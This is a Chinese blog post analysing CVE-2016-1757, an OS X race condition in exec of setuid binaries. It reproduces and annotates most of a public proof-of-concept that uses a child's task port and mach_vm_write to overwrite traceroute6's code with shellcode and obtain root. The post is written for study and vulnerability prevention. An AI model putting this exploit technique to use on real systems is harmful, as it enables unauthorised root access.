
        <html>
			<head>
			     <title>CVE-2016-1757简单分析 - mrh</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/14393">http://drops.wooyun.org/papers/14393</a></h1>
				
      <p>
        <h1>0x00 摘要</h1>

<hr />

<blockquote>
  <p>灵犀一指可攻可守，进攻时也是一指，是天下第一指法，与移花接玉这个天下第一掌法同样都是非兵刃的第一绝技</p>
  
  <p>—陆小凤传奇</p>
</blockquote>

<p>最近的10.11.4补丁修复了一个利用条件竞争获得代码执行权限的漏洞，经过对内核源码以及poc的理解之后，先对问题作出一个简单的分析。</p>

<!--more-->

<h1>0x01 基础知识</h1>

<h3>1.1 exec函数流程</h3>

<p>我在<a href="http://turingh.github.io/2016/03/30/OSX%E5%86%85%E6%A0%B8%E5%8A%A0%E8%BD%BDmach-o%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/">OSX内核加载mach-o流程分析</a>中比较详细的分析了<code>exec</code>整个执行流程中比较重要的几个函数，这个是比较精简的一个流程图。</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040614304799984pic1.png" alt="exec函数图" /></p>

<h3>1.2 mach&#95;vm&#95;* API</h3>

<p><code>Mach</code>提供了一种用户层对虚拟内存的操作方式。一系列对<code>vm_map_t</code>作出操作的<code>API</code>可以对虚拟内存作出很多操作。这里的<code>vm_map_t</code>就是<code>PORT</code>。</p>

<p>这一系列的API有很多，这里只是简单的介绍一下POC中会使用到的API。</p>

<h4>1.2.1 mach&#95;vm&#95;allocate</h4>

<pre><code>#!c
mach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);
</code></pre>

<p>在<code>map</code>中分配<code>size</code>个字节大小的内存，根据<code>flags</code>的不同会有不同的处理方式。<code>address</code>是一个<code>I/O</code>的参数（例如：获取分配后的内存大小）。</p>

<p>如果<code>flags</code>的值不是<code>VM_FLAGS_ANYWHERE</code>，那么内存将被分配到<code>address</code>指向的地址。</p>

<h4>1.2.2 mach&#95;vm&#95;region</h4>

<pre><code>#!c
kern_return_t
mach_vm_region(
    vm_map_t         map,
    mach_vm_offset_t    *address,       /* IN/OUT */
    mach_vm_size_t  *size,          /* OUT */
    vm_region_flavor_t   flavor,        /* IN */
    vm_region_info_t     info,          /* OUT */
    mach_msg_type_number_t  *count,         /* IN/OUT */
    mach_port_t     *object_name)       /* OUT */
</code></pre>

<p>获取<code>map</code>指向的任务内，<code>address</code>地址起始的VM region（虚拟内存区域）的信息。目前标记为<code>flavor</code>只有<code>VM_BASIC_INFO_64</code>。</p>

<p>获得的info的数据结构如下。</p>

<pre><code>#!c
struct vm_region_basic_info_64 {
    vm_prot_t       protection;
    vm_prot_t       max_protection;
    vm_inherit_t        inheritance;
    boolean_t       shared;
    boolean_t       reserved;
    memory_object_offset_t  offset;
    vm_behavior_t       behavior;
    unsigned short      user_wired_count;
};
</code></pre>

<h4>1.2.3 mach&#95;vm&#95;protect</h4>

<pre><code>#!c
kern_return_t
mach_vm_protect(
    mach_port_name_t task,
    mach_vm_address_t address,
    mach_vm_size_t size,
    boolean_t set_maximum,
    vm_prot_t new_protection)
</code></pre>

<p>对<code>address</code>到<code>address+size</code>这一段的内存设置内存保护策略,<code>new_protection</code>就是最后设置成为的保护机制。</p>

<h4>1.2.4 mach&#95;vm&#95;write</h4>

<pre><code>#!c
kern_return_t
mach_vm_write(
    vm_map_t            map,
    mach_vm_address_t       address,
    pointer_t           data,
    __unused mach_msg_type_number_t size)
</code></pre>

<p>对<code>address</code>指向的内存改写内容。</p>

<h3>1.3 Ports</h3>

<p><code>Ports</code>是一种<code>Mach</code>提供的<code>task</code>之间相互交互的机制，通过<code>Ports</code>可以完成类似进程间通信的行为。每个<code>Ports</code>都会有自己的权限。</p>

<pre><code>#!c
#define MACH_PORT_RIGHT_SEND        ((mach_port_right_t) 0)
#define MACH_PORT_RIGHT_RECEIVE     ((mach_port_right_t) 1)
#define MACH_PORT_RIGHT_SEND_ONCE   ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET    ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME   ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_LABELH          ((mach_port_right_t) 5)
#define MACH_PORT_RIGHT_NUMBER      ((mach_port_right_t) 6)
</code></pre>

<p><code>Ports</code>可以在不同的<code>task</code>之间传递，通过传递可以赋予其他<code>task</code>对<code>ports</code>的操作权限。例如POC中使用的就是在父进程与子进程之间传递<code>Port</code>得到了对内存操作的权限。</p>

<h1>0x02 漏洞原理</h1>

<hr />

<p>在内核处理setuid的程序时存在一个时间窗口，通过这个时间窗口，在进程<code>Port</code>被关闭之前，拥有进程<code>Port</code>的程序可以改写目标进程的任意内存，通过改写内存可以利用目标进程的root权限执行任意的shellcode。</p>

<h3>2.1 execv流程漏洞</h3>

<p><img src="http://static.wooyun.org//drops/20160406/2016040614304991629pic2.png" alt="流程图" /></p>

<p><a href="http://turingh.github.io/2016/03/30/OSX%E5%86%85%E6%A0%B8%E5%8A%A0%E8%BD%BDmach-o%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#1-4_load_machfile">load_machfile源码分析</a></p>

<p><a href="http://turingh.github.io/2016/03/30/OSX%E5%86%85%E6%A0%B8%E5%8A%A0%E8%BD%BDmach-o%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#1-3_exec_mach_imgact">exec&#95;mach&#95;imgact源码分析</a></p>

<p>在swap&#95;task&#95;map以及exec&#95;handle&#95;suid之间有一个时间窗口，task port还是可以对内存做出修改的。</p>

<p>具体细节可以参考poc，同时也可以参考源码的分析日志。</p>

<h3>2.2 捕获时间窗口(灵犀一指)</h3>

<p>​时间窗口打开的时机对编写poc非常重要，因为在调用exec之后整个行为都是内核控制的，没有什么直接的办法获取时间窗口，poc中提供的方法是通过不断的调用<code>mach_vm_region</code>，当窗口出现时，也就是从old&#95;map切换到new&#95;map时，<code>mach_vm_region</code>函数获取的address应该是不同的。具体实现在下面的poc源码分析中会提到。</p>

<h3>2.3 任意内存写</h3>

<p>​在得到窗口打开的时机之后通过上面提到的port以及mach&#95;vm&#95;*的一系列函数就可以做到对目标进程的任意写操作，从而写入shellcode。</p>

<h3>2.4 shellcode的执行(移花接木)</h3>

<p>​shellcode要写在什么地方才会被执行呢？</p>

<p>​通过对traceroute6的分析，可以看到__text的地址偏移是0x153c，所以通过对该地址的内存改写，可以使得shellcode得到执行。</p>

<p><img src="http://static.wooyun.org//drops/20160406/2016040614305083788pic3.jpg" alt="traceroute6" /></p>

<h1>0x03 POC源码分析</h1>

<hr />

<h3>3.1 main</h3>

<pre><code>#!c
int main() {
  kern_return_t err;

  // register a name with launchd

  mach_port_t bootstrap_port;
  err = task_get_bootstrap_port(mach_task_self(), &amp;bootstrap_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't get bootstrap port", err);
    return 1;
  }

  //创建一个具有接受消息权限的port
  mach_port_t service_port;
  err = mach_port_allocate(mach_task_self(),
                           MACH_PORT_RIGHT_RECEIVE,
                           &amp;service_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't allocate service port", err);
    return 1;
  }

  //为port添加SEND权限
  err = mach_port_insert_right(mach_task_self(),
                               service_port,
                               service_port,
                               MACH_MSG_TYPE_MAKE_SEND);

  if (err != KERN_SUCCESS) {
    mach_error("can't insert make send right", err);
    return 1;
  }

  //
  // 注册一个全局的Port
  // 之后的子进程会继承这个port
  err = bootstrap_register(bootstrap_port, service_name, service_port);

  if (err != KERN_SUCCESS) {
    mach_error("can't register service port", err);
    return 1;
  }

  printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);

  // fork a child
  pid_t child_pid = fork();
  if (child_pid == 0) {
    do_child();
  } else {
    do_parent(service_port);
    int status;
    wait(&amp;status);
  }

  return 0;
}
</code></pre>

<p>main函数在建立了port之后之后fork出子程序，开始做各自做的事情。</p>

<h3>3.2 do_child</h3>

<pre><code>#!c
void do_child() {
  kern_return_t err;

  //查找全局的port
  mach_port_t bootstrap_port;
  err = task_get_bootstrap_port(mach_task_self(), &amp;bootstrap_port);

  if (err != KERN_SUCCESS) {
    mach_error("child can't get bootstrap port", err);
    return;
  }

  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, service_name, &amp;service_port);

  if (err != KERN_SUCCESS) {
    mach_error("child can't get service port", err);
    return;
  }

  // create a reply port:
  // 创建一个具有接受消息权限的port
  mach_port_t reply_port;
  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;reply_port);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to allocate reply port", err);
    return;
  }

  // send it our task port
  // 将子进程的port发送给父进程
  task_msg_send_t msg = {0};

  msg.header.msgh_size = sizeof(msg);
  msg.header.msgh_local_port = reply_port;
  msg.header.msgh_remote_port = service_port;
  msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;

  msg.body.msgh_descriptor_count = 1;

  msg.port.name = mach_task_self();
  msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
  msg.port.type = MACH_MSG_PORT_DESCRIPTOR;

  err = mach_msg_send(&amp;msg.header);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to send thread port message", err);
    return;
  }

  // wait for a reply to ack that the other end got our thread port
  // 等待父进程回复
  ack_msg_recv_t reply = {0};
  err = mach_msg(&amp;reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    mach_error("child unable to receive ack", err);
    return;
  }

  // exec the suid-root binary
  // 执行setuid的程序traceroute6
  char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
  char* envp[] = {NULL};
  execve(suid_binary_path, argv, envp);
}
</code></pre>

<p>子进程做的事情也非常的简单，将自己的port发送给父进程，确保父进程已经获取到port之后，执行setuid的程序，poc中使用的是traceroute6。</p>

<h3>3.3 do_parent</h3>

<pre><code>#!c
void do_parent(mach_port_t service_port) {
  kern_return_t err;

  // generate the page we want to write into the child:
  // 申请一页内存，并且会将这一页内存写入子进程
  mach_vm_address_t addr = 0;
  err = mach_vm_allocate(mach_task_self(),
                         &amp;addr,
                         4096,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    mach_error("failed to mach_vm_allocate memory", err);
    return;
  }

  //将0x153c处的写入shellcode
  FILE* f = fopen(suid_binary_path, "r");
  fseek(f, 0x1000, SEEK_SET);

  fread((char*)addr, 0x1000, 1, f);
  fclose(f);

  memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));

  // wait to get the child's task port on the service port:
  // 等待子进程发送过来的port
  task_msg_recv_t msg = {0};
  err = mach_msg(&amp;msg.header,
                 MACH_RCV_MSG,
                 0,
                 sizeof(msg),
                 service_port,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    mach_error("error receiving service message", err);
    return;
  }

  mach_port_t target_task_port = msg.port.name;

  // before we ack the task port message to signal that the other process should execve the suid
  // binary get the lowest mapped address:
  // 立刻获取内存的信息
  struct vm_region_basic_info_64 region;
  mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
  memory_object_name_t object_name = MACH_PORT_NULL; /* unused */

  mach_vm_size_t target_first_size = 0x1000;
  mach_vm_address_t original_first_addr = 0x0;

  err = mach_vm_region(target_task_port,
                       &amp;original_first_addr,
                       &amp;target_first_size,
                       VM_REGION_BASIC_INFO_64,
                       (vm_region_info_t)&amp;region,
                       &amp;region_count,
                       &amp;object_name);

  if (err != KERN_SUCCESS) {
    mach_error("unable to get first mach_vm_region for target process\n", err);
    return;
  }

  printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);

  // send an ack message to the reply port indicating that we have the thread port
  ack_msg_send_t ack = {0};

  mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);

  ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
  ack.header.msgh_size = sizeof(ack);
  ack.header.msgh_local_port = MACH_PORT_NULL;
  ack.header.msgh_remote_port = msg.header.msgh_remote_port;
  ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got

  err = mach_msg_send(&amp;ack.header);
  if (err != KERN_SUCCESS) {
    mach_error("parent failed sending ack", err);
    return;
  }

  mach_vm_address_t target_first_addr = 0x0;
  for (;;) {
    // wait until we see that the map has been swapped and the binary is loaded into it:
    // 不断的循环去获取内存的信息
    region_count = VM_REGION_BASIC_INFO_COUNT_64;
    object_name = MACH_PORT_NULL; /* unused */
    target_first_size = 0x1000;
    target_first_addr = 0x0;

    err = mach_vm_region(target_task_port,
                         &amp;target_first_addr,
                         &amp;target_first_size,
                         VM_REGION_BASIC_INFO_64,
                         (vm_region_info_t)&amp;region,
                         &amp;region_count,
                         &amp;object_name);

    if (target_first_addr != original_first_addr &amp;&amp; target_first_addr &lt; 0x200000000) {
      // the first address has changed implying that the map was swapped
      // let's try to win the race
      // 当发现获取到的内存信息与之前的不同
      // 说明竞争的窗口打开了
      // 可以尝试去写入shellcode了
      break;
    }

  }

  //写入shellcode
  mach_vm_address_t target_addr = target_first_addr + 0x1000;
  mach_msg_type_number_t target_size = 0x1000;
  mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
  mach_vm_write(target_task_port, target_addr, addr, target_size);

  printf("hopefully overwrote some code in the target...\n");
  printf("the target first addr changed to %zx\n", target_first_addr);
  //子进程窗口关闭后内存已经被改写，正常执行到entry时，将执行shellcode。
}
</code></pre>

<p>父进程的行为比较复杂：</p>

<ul>
<li>构建shellcode</li>
<li>获取子进程port</li>
<li>根据子进程的内存信息得到竞争的窗口打开的时机</li>
<li>写入shellcode，等待shellcode执行。</li>
</ul>

<h1>0x04 小结</h1>

<hr />

<p>​通过梳理poc与内核源码后，在了解了<code>execv</code>函数一系列的执行流程，已经内核的一系列内存操作的工具函数之后，这个漏洞其实就是一个简单的逻辑漏洞，通过一个旧的port可以在port被关闭前，任意改写进程的内存地址，当目标进程碰巧是setuid的进程时，就具有了root权限执行任意代码的能力。</p>

<p>​通过poc的分析，应该学习巩固的知识如下：</p>

<ul>
<li>execv的执行流程</li>
<li>port的使用</li>
<li>mach&#95;vm&#95;* API</li>
</ul>

<p>​充分理解poc的原理后，可以进一步对这个漏洞的Exploit to get kernel code execution做出更详细的分析，从而反思与总结，如何在开发中预防这种漏洞的产生以及如何通过测试或者代码审计的手段发现类似的漏洞。</p>

<h1>0x05 参考</h1>

<hr />

<ol>
<li><a href="https://www.freebsd.org/cgi/man.cgi?query=vnode">https://www.freebsd.org/cgi/man.cgi?query=vnode</a></li>
<li><a href="https://www.freebsd.org/cgi/man.cgi?query=namei&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+10.2-RELEASE&amp;arch=default&amp;format=html">https://www.freebsd.org/cgi/man.cgi?query=namei&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+10.2-RELEASE&amp;arch=default&amp;format=html</a></li>
<li><a href="http://www.manualpages.de/OpenBSD/OpenBSD-5.0/man9/pmap_create.9.html">http://www.manualpages.de/OpenBSD/OpenBSD-5.0/man9/pmap_create.9.html</a></li>
<li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=676&amp;redir=1">Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS</a></li>
<li><a href="http://googleprojectzero.blogspot.com/2016/03/race-you-to-kernel.html">Race you to the kernel!</a></li>
</ol>

<p><strong>ps:</strong><br />
这是我的学习分享博客<a href="http://turingh.github.io/">http://turingh.github.io/</a></p>

<p>欢迎大家来探讨，不足之处还请指正。</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          